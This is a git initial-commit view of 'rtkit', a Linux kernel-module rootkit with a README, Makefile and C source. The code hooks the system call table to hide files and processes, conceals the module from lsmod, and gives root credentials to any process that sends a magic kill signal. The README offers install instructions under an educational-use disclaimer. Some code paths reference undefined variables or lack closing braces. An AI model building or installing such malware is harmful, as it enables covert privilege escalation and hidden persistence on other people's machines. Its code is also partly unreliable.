Initial Commit
This commit is contained in:
commit
e354db3645
10
.gitignore
vendored
Normal file
10
.gitignore
vendored
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
*.cmd
|
||||||
|
Module.symvers
|
||||||
|
modules.order
|
||||||
|
*.ko
|
||||||
|
*.o
|
||||||
|
*.mod.c
|
||||||
|
*.mod
|
||||||
|
.vscode
|
||||||
|
.TMP*
|
||||||
|
*.d
|
17
Makefile
Normal file
17
Makefile
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
obj-m += rtkit.o
|
||||||
|
|
||||||
|
KERNEL_ROOT=/lib/modules/$(shell uname -r)/build
|
||||||
|
|
||||||
|
all: modules
|
||||||
|
|
||||||
|
modules:
|
||||||
|
@$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) modules
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) clean
|
||||||
|
|
||||||
|
install: rtkit.ko
|
||||||
|
insmod rtkit.ko
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
rmmod rtkit
|
41
README.md
Normal file
41
README.md
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
<h1 align="center" style="border-bottom: none; margin-bottom: 0;">
|
||||||
|
rtkit: By <a href="https://github.com/Blenderwizard">Jolan "Blenderwizard" Rathelot</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
## What is this ?
|
||||||
|
|
||||||
|
rtkit is a Simple Linux Kernel Module, or LKM, rootkit that allows users to hide process, file and directories, grant a root shell, and hide itself the kernel mod list.
|
||||||
|
|
||||||
|
> **Warning**
|
||||||
|
>
|
||||||
|
> Use of this project is for **Educational / Testing purposes only**. Using it on **unauthorised machines** is **strictly forbidden**. If somebody is found to use it for **illegal / malicious intent**, author of the repo will **not** be held responsible.
|
||||||
|
|
||||||
|
> **Info**
|
||||||
|
>
|
||||||
|
> This Module has only been tested on linux kernel version 6.0.0. It should be compatable with most other versions.
|
||||||
|
|
||||||
|
### Resources
|
||||||
|
|
||||||
|
1. [TheXcellerator's LKM Blog](https://xcellerator.github.io/posts/linux_rootkits_01/)
|
||||||
|
2. [Ethical Hacking by Daniel G. Graham](https://nostarch.com/ethical-hacking)
|
||||||
|
3. ChatGPT ¯\\\_(ツ)_/¯
|
||||||
|
|
||||||
|
### Features
|
||||||
|
|
||||||
|
1. The ablility to hide any file or directory that start with a prefix, by default this prefix is `"rtkit_exclude"`. This prefix can be modified by changing `DIRECTORY_EXCLUSION_PREFIX` found in `include/rootkit_utils.h`.
|
||||||
|
2. The ablility to hide user definable process ids. Running `kill -66 <pid to hide>` hide the any running process with that pid. The number 66 can be changed by modifying `TOGGLE_PID_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h`
|
||||||
|
3. The ability to hide or show the module from `lsmod`. Running `kill -65 <any number>` toggles it's visiblility. The number 65 can be changed by modifying `TOGGLE_MODULE_HIDE_SIGNAL_CODE` in `include/rootkit_utils.h`
|
||||||
|
4. The ablility to get a root shell. Running `kill -64 <any number>` grants you a root shell. The number 64 can be changed by modifying `ROOT_SHELL_SIGNAL_CODE` in `include/rootkit_utils.h`
|
||||||
|
|
||||||
|
## Install
|
||||||
|
|
||||||
|
Clone the repository and navigate to the root of the directory, to build and install the module, simply run `make` followed by `make install`.
|
||||||
|
|
||||||
|
You will need to be a privelaged used on the system to run `make install`.
|
||||||
|
|
||||||
|
Congrats the rootkit has been installed!
|
||||||
|
|
||||||
|
## Uninstall
|
||||||
|
To uninstall you need to unhide the module, the default to unhide the module command is `kill -65 1`. Then run `make uninstall`.
|
||||||
|
|
||||||
|
|
24
include/cred_helper.h
Normal file
24
include/cred_helper.h
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
#include <linux/cred.h>
|
||||||
|
|
||||||
|
#ifndef CRED_HELPER_H
|
||||||
|
#define CRED_HELPER_H
|
||||||
|
|
||||||
|
static void get_root(void) {
|
||||||
|
struct cred* root;
|
||||||
|
|
||||||
|
root = prepare_creds();
|
||||||
|
if (root == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
root->uid.val = 0;
|
||||||
|
root->gid.val = 0;
|
||||||
|
root->euid.val = 0;
|
||||||
|
root->egid.val = 0;
|
||||||
|
root->suid.val = 0;
|
||||||
|
root->sgid.val = 0;
|
||||||
|
root->fsuid.val = 0;
|
||||||
|
root->fsgid.val = 0;
|
||||||
|
commit_creds(root);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
23
include/hide_show_helper.h
Normal file
23
include/hide_show_helper.h
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
#include <linux/types.h>
|
||||||
|
#include <linux/export.h>
|
||||||
|
|
||||||
|
#include "rootkit_utils.h"
|
||||||
|
|
||||||
|
#ifndef HIDE_SHOW_HELPER_H
|
||||||
|
#define HIDE_SHOW_HELPER_H
|
||||||
|
|
||||||
|
static short hidden = 0;
|
||||||
|
static struct list_head * previous_module;
|
||||||
|
|
||||||
|
static void hideme(void) {
|
||||||
|
previous_module = THIS_MODULE->list.prev;
|
||||||
|
list_del(&THIS_MODULE->list);
|
||||||
|
hidden = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void showme(void) {
|
||||||
|
list_add(&THIS_MODULE->list, previous_module);
|
||||||
|
hidden = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
50
include/rootkit_utils.h
Normal file
50
include/rootkit_utils.h
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
#include <linux/version.h>
|
||||||
|
#include <linux/list.h>
|
||||||
|
#include <linux/slab.h>
|
||||||
|
#include <linux/kernel.h>
|
||||||
|
|
||||||
|
#ifndef ROOTKIT_UTILS_H
|
||||||
|
#define ROOTKIT_UTILS_H
|
||||||
|
|
||||||
|
// ===== CONFIG ======
|
||||||
|
|
||||||
|
// File prefix that excludes entries from getdents64
|
||||||
|
#define DIRECTORY_EXCLUSION_PREFIX "rtkit_exclude"
|
||||||
|
|
||||||
|
// Signal code that drops a root shell
|
||||||
|
#define ROOT_SHELL_SIGNAL_CODE 64
|
||||||
|
|
||||||
|
// Signal code that toggles rootkit visablity
|
||||||
|
#define TOGGLE_MODULE_HIDE_SIGNAL_CODE 65
|
||||||
|
|
||||||
|
// Signal code to change the hidden pid
|
||||||
|
#define TOGGLE_PID_HIDE_SIGNAL_CODE 66
|
||||||
|
|
||||||
|
// // Default port to hide, if equal to 0, hides none
|
||||||
|
// #define PORT_HIDE_DEFAULT_PORT 0
|
||||||
|
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
|
||||||
|
#define PTREGS_SYSCALL_STUBS 1
|
||||||
|
typedef asmlinkage long (*tt_syscall)(const struct pt_regs *);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct linked_list_node {
|
||||||
|
void *data;
|
||||||
|
struct list_head list;
|
||||||
|
};
|
||||||
|
|
||||||
|
static LIST_HEAD(excluded_pids);
|
||||||
|
|
||||||
|
void append_node(struct list_head *list, void * data) {
|
||||||
|
struct linked_list_node *entry;
|
||||||
|
entry = kmalloc(sizeof *entry, GFP_KERNEL);
|
||||||
|
if (!entry)
|
||||||
|
return;
|
||||||
|
entry->data = data;
|
||||||
|
INIT_LIST_HEAD(&entry->list);
|
||||||
|
list_add_tail(&entry->list, list);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
130
include/syscall_getdents64_hook.h
Normal file
130
include/syscall_getdents64_hook.h
Normal file
@ -0,0 +1,130 @@
|
|||||||
|
#include <linux/dirent.h>
|
||||||
|
|
||||||
|
#include "syscall_table_fetch.h"
|
||||||
|
#include "rootkit_utils.h"
|
||||||
|
|
||||||
|
#ifndef SYSCALL_GETDENTS64_HOOK_H
|
||||||
|
#define SYSCALL_GETDENTS64_HOOK_H
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static tt_syscall original_getdents64;
|
||||||
|
#else
|
||||||
|
typedef asmlinkage long (*tt_syscall_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
|
||||||
|
static tt_syscall_getdents64 original_getdents64;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static asmlinkage int getdents64_hook(const struct pt_regs *regs) {
|
||||||
|
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
|
||||||
|
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||||
|
unsigned long offset = 0;
|
||||||
|
long error;
|
||||||
|
int ret = original_getdents64(regs);
|
||||||
|
|
||||||
|
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
|
||||||
|
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
error = copy_from_user(dirent_ker, dirent, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
while (offset < ret) {
|
||||||
|
current_dir = (void *) dirent_ker + offset;
|
||||||
|
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||||
|
if (current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
struct linked_list_node *node;
|
||||||
|
int found = 0;
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found) {
|
||||||
|
if (current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
previous_dir = current_dir;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += current_dir->d_reclen;
|
||||||
|
}
|
||||||
|
error = copy_to_user(dirent, dirent_ker, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static asmlinkage int getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
|
||||||
|
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||||
|
unsigned long offset = 0;
|
||||||
|
long error;
|
||||||
|
int ret = original_getdents64(fd, dirp, count);
|
||||||
|
|
||||||
|
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
|
||||||
|
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
error = copy_from_user(dirent_ker, dirent, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
while (offset < ret) {
|
||||||
|
current_dir = (void *) dirent_ker + offset;
|
||||||
|
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||||
|
if(current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
struct linked_list_node *node;
|
||||||
|
int found = 0;
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found) {
|
||||||
|
if (current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
previous_dir = current_dir;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += current_dir->d_reclen;
|
||||||
|
}
|
||||||
|
error = copy_to_user(dirent, dirent_ker, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
136
include/syscall_getdents_hook.h
Normal file
136
include/syscall_getdents_hook.h
Normal file
@ -0,0 +1,136 @@
|
|||||||
|
#include <linux/dirent.h>
|
||||||
|
|
||||||
|
#include "syscall_table_fetch.h"
|
||||||
|
#include "rootkit_utils.h"
|
||||||
|
|
||||||
|
#ifndef SYSCALL_GETDENTS_HOOK_H
|
||||||
|
#define SYSCALL_GETDENTS_HOOK_H
|
||||||
|
|
||||||
|
struct linux_dirent {
|
||||||
|
unsigned long d_ino;
|
||||||
|
unsigned long d_off;
|
||||||
|
unsigned short d_reclen;
|
||||||
|
char d_name[1];
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static tt_syscall original_getdents;
|
||||||
|
#else
|
||||||
|
typedef asmlinkage long (*tt_syscall_getdents)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
|
||||||
|
static tt_syscall_getdents original_getdents;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static asmlinkage int getdents_hook(const struct pt_regs *regs) {
|
||||||
|
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
|
||||||
|
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||||
|
unsigned long offset = 0;
|
||||||
|
long error;
|
||||||
|
int ret = original_getdents(regs);
|
||||||
|
|
||||||
|
dirent_ker = (struct linux_dirent *) kzalloc(ret, GFP_KERNEL);
|
||||||
|
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
error = copy_from_user(dirent_ker, dirent, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
while (offset < ret) {
|
||||||
|
current_dir = (void *) dirent_ker + offset;
|
||||||
|
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||||
|
if(current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
struct linked_list_node *node;
|
||||||
|
int found = 0;
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found) {
|
||||||
|
if (current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
previous_dir = current_dir;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += current_dir->d_reclen;
|
||||||
|
}
|
||||||
|
error = copy_to_user(dirent, dirent_ker, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static asmlinkage int getdents_hook(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
|
||||||
|
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
|
||||||
|
unsigned long offset = 0;
|
||||||
|
long error;
|
||||||
|
int ret = original_getdents(fd, dirp, count);
|
||||||
|
|
||||||
|
dirent_ker = (struct linux_dirent*) kzalloc(ret, GFP_KERNEL);
|
||||||
|
if ((ret <= 0) || (dirent_ker == NULL)) {
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
error = copy_from_user(dirent_ker, dirent, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
while (offset < ret) {
|
||||||
|
current_dir = (void *) dirent_ker + offset;
|
||||||
|
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
|
||||||
|
if(current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
struct linked_list_node *node;
|
||||||
|
int found = 0;
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found) {
|
||||||
|
if (current_dir == dirent_ker) {
|
||||||
|
ret -= current_dir->d_reclen;
|
||||||
|
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
previous_dir->d_reclen += current_dir->d_reclen;
|
||||||
|
} else {
|
||||||
|
previous_dir = current_dir;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += current_dir->d_reclen;
|
||||||
|
}
|
||||||
|
error = copy_to_user(dirent, dirent_ker, ret);
|
||||||
|
if (error) {
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
kfree(dirent_ker);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
100
include/syscall_kill_hook.h
Normal file
100
include/syscall_kill_hook.h
Normal file
@ -0,0 +1,100 @@
|
|||||||
|
#include <linux/types.h>
|
||||||
|
|
||||||
|
#include "syscall_table_fetch.h"
|
||||||
|
#include "rootkit_utils.h"
|
||||||
|
#include "hide_show_helper.h"
|
||||||
|
#include "cred_helper.h"
|
||||||
|
|
||||||
|
#ifndef SYSCALL_KILL_HOOK_H
|
||||||
|
#define SYSCALL_KILL_HOOK_H
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static tt_syscall original_kill;
|
||||||
|
#else
|
||||||
|
typedef asmlinkage long (*tt_syscall_kill)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
|
||||||
|
static tt_syscall_kill original_kill;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
static asmlinkage int kill_hook(const struct pt_regs * regs) {
|
||||||
|
int signal = (int) regs->si;
|
||||||
|
|
||||||
|
if (signal == ROOT_SHELL_SIGNAL_CODE) {
|
||||||
|
get_root();
|
||||||
|
return 0;
|
||||||
|
} else if (signal == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
|
||||||
|
if (hidden == 0) {
|
||||||
|
hideme();
|
||||||
|
} else {
|
||||||
|
showme();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
} else if (signal == TOGGLE_PID_HIDE_SIGNAL_CODE) {
|
||||||
|
char * strpid;
|
||||||
|
struct linked_list_node *node;
|
||||||
|
struct linked_list_node *target = NULL;
|
||||||
|
|
||||||
|
strpid = (char *) kzalloc(20, GFP_KERNEL);
|
||||||
|
if ((strpid == NULL)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
snprintf(strpid, 20, "%d", (int) regs->di);
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
|
||||||
|
target = node;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (target) {
|
||||||
|
list_del(&target->list);
|
||||||
|
kfree(target->data);
|
||||||
|
kfree(target);
|
||||||
|
} else {
|
||||||
|
append_node(&excluded_pids, strpid);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return original_kill(regs);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static asmlinkage int kill_hook(pid_t pid, int sig) {
|
||||||
|
if (sig == ROOT_SHELL_SIGNAL_CODE) {
|
||||||
|
get_root();
|
||||||
|
return 0;
|
||||||
|
} else if (sig == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
|
||||||
|
if (hidden == 0) {
|
||||||
|
hideme();
|
||||||
|
} else {
|
||||||
|
showme();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
} else if (sig == TOGGLE_PID_HIDE_SIGNAL_CODE) {
|
||||||
|
char * strpid;
|
||||||
|
struct linked_list_node *node;
|
||||||
|
struct linked_list_node *target = NULL;
|
||||||
|
|
||||||
|
strpid = (char *) kzalloc(20, GFP_KERNEL);
|
||||||
|
if ((strpid == NULL)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
snprintf(strpid, 20, "%d", (int) regs->di);
|
||||||
|
list_for_each_entry(node, &excluded_pids, list) {
|
||||||
|
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
|
||||||
|
target = node;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (target) {
|
||||||
|
list_del(&target->list);
|
||||||
|
kfree(target->data);
|
||||||
|
kfree(target);
|
||||||
|
} else {
|
||||||
|
append_node(&excluded_pids, strpid);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return original_kill(pid, sig);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
54
include/syscall_table_fetch.h
Normal file
54
include/syscall_table_fetch.h
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#include <linux/syscalls.h>
|
||||||
|
#include <linux/slab.h>
|
||||||
|
#include <linux/sched.h>
|
||||||
|
#include <linux/fdtable.h>
|
||||||
|
#include <linux/proc_ns.h>
|
||||||
|
#include <asm/ptrace.h>
|
||||||
|
#include <linux/dirent.h>
|
||||||
|
|
||||||
|
#include "rootkit_utils.h"
|
||||||
|
|
||||||
|
#ifndef SYSCALL_TABLE_FETCH_H
|
||||||
|
#define SYSCALL_TABLE_FETCH_H
|
||||||
|
|
||||||
|
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
|
||||||
|
#define KPROBE_LOOKUP 1
|
||||||
|
#include <linux/kprobes.h>
|
||||||
|
|
||||||
|
static struct kprobe kp = {
|
||||||
|
.symbol_name = "kallsyms_lookup_name"
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
unsigned long cr0;
|
||||||
|
static unsigned long *__sys_call_table;
|
||||||
|
|
||||||
|
unsigned long *get_syscall_table(void) {
|
||||||
|
unsigned long *syscall_table;
|
||||||
|
|
||||||
|
#ifdef KPROBE_LOOKUP
|
||||||
|
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
|
||||||
|
|
||||||
|
kallsyms_lookup_name_t kallsyms_lookup_name;
|
||||||
|
register_kprobe(&kp);
|
||||||
|
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
|
||||||
|
unregister_kprobe(&kp);
|
||||||
|
#endif
|
||||||
|
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
|
||||||
|
return syscall_table;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void write_cr0_forced(unsigned long val) {
|
||||||
|
unsigned long __force_order;
|
||||||
|
asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void protect_memory(void) {
|
||||||
|
write_cr0_forced(cr0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void unprotect_memory(void) {
|
||||||
|
write_cr0_forced(cr0 & ~0x00010000);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
87
rtkit.c
Normal file
87
rtkit.c
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
#include <linux/init.h>
|
||||||
|
#include <linux/module.h>
|
||||||
|
#include <linux/kernel.h>
|
||||||
|
#include <linux/list.h>
|
||||||
|
#include <linux/slab.h>
|
||||||
|
|
||||||
|
#include "include/syscall_table_fetch.h"
|
||||||
|
|
||||||
|
#include "include/hide_show_helper.h"
|
||||||
|
|
||||||
|
#include "include/syscall_getdents64_hook.h"
|
||||||
|
#include "include/syscall_getdents_hook.h"
|
||||||
|
#include "include/syscall_kill_hook.h"
|
||||||
|
|
||||||
|
static int __init rootkit_init(void) {
|
||||||
|
__sys_call_table = get_syscall_table();
|
||||||
|
if (!__sys_call_table)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
cr0 = read_cr0();
|
||||||
|
#ifdef PTREGS_SYSCALL_STUBS
|
||||||
|
#ifdef __NR_getdents64
|
||||||
|
original_getdents64 = (tt_syscall)__sys_call_table[__NR_getdents64];
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_getdents
|
||||||
|
original_getdents = (tt_syscall)__sys_call_table[__NR_getdents];
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_kill
|
||||||
|
original_kill = (tt_syscall)__sys_call_table[__NR_kill];
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef __NR_getdents64
|
||||||
|
original_getdents64 = (tt_syscall_getdents64)__sys_call_table[__NR_getdents64];
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_getdents
|
||||||
|
original_getdents = (tt_syscall_getdents)__sys_call_table[__NR_getdents];
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_kill
|
||||||
|
original_kill = (tt_syscall_kill)__sys_call_table[__NR_kill];
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
unprotect_memory();
|
||||||
|
#ifdef __NR_getdents64
|
||||||
|
__sys_call_table[__NR_getdents64] = (unsigned long) getdents64_hook;
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_getdents
|
||||||
|
__sys_call_table[__NR_getdents] = (unsigned long) getdents_hook;
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_kill
|
||||||
|
__sys_call_table[__NR_kill] = (unsigned long) kill_hook;
|
||||||
|
#endif
|
||||||
|
protect_memory();
|
||||||
|
|
||||||
|
hideme();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void __exit rootkit_exit(void) {
|
||||||
|
struct linked_list_node *ptr, *tmp;
|
||||||
|
|
||||||
|
unprotect_memory();
|
||||||
|
#ifdef __NR_getdents64
|
||||||
|
__sys_call_table[__NR_getdents64] = (unsigned long) original_getdents64;
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_getdents
|
||||||
|
__sys_call_table[__NR_getdents] = (unsigned long) original_getdents;
|
||||||
|
#endif
|
||||||
|
#ifdef __NR_kill
|
||||||
|
__sys_call_table[__NR_kill] = (unsigned long) original_kill;
|
||||||
|
#endif
|
||||||
|
protect_memory();
|
||||||
|
|
||||||
|
list_for_each_entry_safe(ptr, tmp, &excluded_pids, list){
|
||||||
|
list_del(&ptr->list);
|
||||||
|
kfree(ptr->data);
|
||||||
|
kfree(ptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
module_init(rootkit_init);
|
||||||
|
module_exit(rootkit_exit);
|
||||||
|
|
||||||
|
MODULE_LICENSE("GPL");
|
||||||
|
MODULE_AUTHOR("Blenderwizard");
|
||||||
|
MODULE_DESCRIPTION("Rootkit");
|
||||||
|
MODULE_VERSION("0.01");
|
Loading…
x
Reference in New Issue
Block a user